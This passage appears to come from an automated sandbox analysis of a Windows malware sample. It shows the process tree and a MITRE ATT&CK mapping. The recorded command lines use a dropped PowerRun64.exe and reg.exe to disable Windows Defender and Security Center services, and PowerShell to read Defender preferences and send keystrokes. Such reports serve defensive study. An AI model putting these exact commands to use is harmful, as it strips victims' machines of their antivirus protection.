        "C:\Users\Admin\AppData\Local\Temp\nsdB848.tmp\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv" /v "Start" /t reg_DWORD /d "4" /f
        5⤵
        Executes dropped EXE
        Modifies data under HKEY_USERS
        
        PID:2236
      - C:\Windows\System32\reg.exe
        
        "C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv" /v "Start" /t reg_DWORD /d "4" /f
        6⤵
        
        PID:1600
- - C:\Users\Admin\AppData\Local\Temp\nsdB848.tmp\PowerRun64.exe
    PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc" /v "Start" /t reg_DWORD /d "4" /f
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:2616
  - - C:\Users\Admin\AppData\Local\Temp\nsdB848.tmp\PowerRun64.exe
      "C:\Users\Admin\AppData\Local\Temp\nsdB848.tmp\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc" /v "Start" /t reg_DWORD /d "4" /f
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      PID:2064
    - - C:\Users\Admin\AppData\Local\Temp\nsdB848.tmp\PowerRun64.exe
        
        "C:\Users\Admin\AppData\Local\Temp\nsdB848.tmp\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc" /v "Start" /t reg_DWORD /d "4" /f
        5⤵
        Executes dropped EXE
        Modifies data under HKEY_USERS
        
        PID:2436
      - C:\Windows\System32\reg.exe
        
        "C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc" /v "Start" /t reg_DWORD /d "4" /f
        6⤵
        
        PID:1644
- - C:\Users\Admin\AppData\Local\Temp\nsdB848.tmp\PowerRun64.exe
    PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WinDefend" /v "Start" /t reg_DWORD /d "4" /f
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:1912
  - - C:\Users\Admin\AppData\Local\Temp\nsdB848.tmp\PowerRun64.exe
      "C:\Users\Admin\AppData\Local\Temp\nsdB848.tmp\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WinDefend" /v "Start" /t reg_DWORD /d "4" /f
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      PID:2056
    - - C:\Users\Admin\AppData\Local\Temp\nsdB848.tmp\PowerRun64.exe
        
        "C:\Users\Admin\AppData\Local\Temp\nsdB848.tmp\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WinDefend" /v "Start" /t reg_DWORD /d "4" /f
        5⤵
        Executes dropped EXE
        Modifies data under HKEY_USERS
        
        PID:352
      - C:\Windows\System32\reg.exe
        
        "C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\CurrentControlSet\Services\WinDefend" /v "Start" /t reg_DWORD /d "4" /f
        6⤵
        Modifies security service
        
        PID:2412
- - C:\Users\Admin\AppData\Local\Temp\nsdB848.tmp\PowerRun64.exe
    PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\wscsvc" /v "Start" /t reg_DWORD /d "4" /f
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:1344
  - - C:\Users\Admin\AppData\Local\Temp\nsdB848.tmp\PowerRun64.exe
      "C:\Users\Admin\AppData\Local\Temp\nsdB848.tmp\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\wscsvc" /v "Start" /t reg_DWORD /d "4" /f
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      PID:1576
    - - C:\Users\Admin\AppData\Local\Temp\nsdB848.tmp\PowerRun64.exe
        
        "C:\Users\Admin\AppData\Local\Temp\nsdB848.tmp\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\wscsvc" /v "Start" /t reg_DWORD /d "4" /f
        5⤵
        Executes dropped EXE
        Modifies data under HKEY_USERS
        
        PID:2548
      - C:\Windows\System32\reg.exe
        
        "C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\CurrentControlSet\Services\wscsvc" /v "Start" /t reg_DWORD /d "4" /f
        6⤵
        Modifies security service
        
        PID:2868
- - C:\Users\Admin\AppData\Local\Temp\nsdB848.tmp\PowerRun64.exe
    PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t reg_DWORD /d "4" /f
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:2336
  - - C:\Users\Admin\AppData\Local\Temp\nsdB848.tmp\PowerRun64.exe
      "C:\Users\Admin\AppData\Local\Temp\nsdB848.tmp\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t reg_DWORD /d "4" /f
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      PID:2720
    - - C:\Users\Admin\AppData\Local\Temp\nsdB848.tmp\PowerRun64.exe
        
        "C:\Users\Admin\AppData\Local\Temp\nsdB848.tmp\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t reg_DWORD /d "4" /f
        5⤵
        Executes dropped EXE
        Modifies data under HKEY_USERS
        
        PID:2860
      - C:\Windows\System32\reg.exe
        
        "C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t reg_DWORD /d "4" /f
        6⤵
        
        PID:2052
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    Powershell -Command "Get-MpPreference"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:2824
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    Powershell -Command "$wshell=New-Object -ComObject wscript.shell; $wshell.SendKeys('^a')
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:2628
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    Powershell -Command "$wshell=New-Object -ComObject wscript.shell; $wshell.SendKeys('^c')
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:1420
- C:\Users\Admin\AppData\Local\Temp\nsdB848.tmp\win_version_csharp.exe
  "C:\Users\Admin\AppData\Local\Temp\nsdB848.tmp\win_version_csharp.exe"
  2⤵
  - Executes dropped EXE
  PID:2740

C:\Windows\system32\makecab.exe
"C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20240712074711.log C:\Windows\Logs\CBS\CbsPersist_20240712074711.cab
1⤵
- Drops file in Windows directory
PID:1416

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Create or Modify System Process

T1543

Windows Service

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

Modify Registry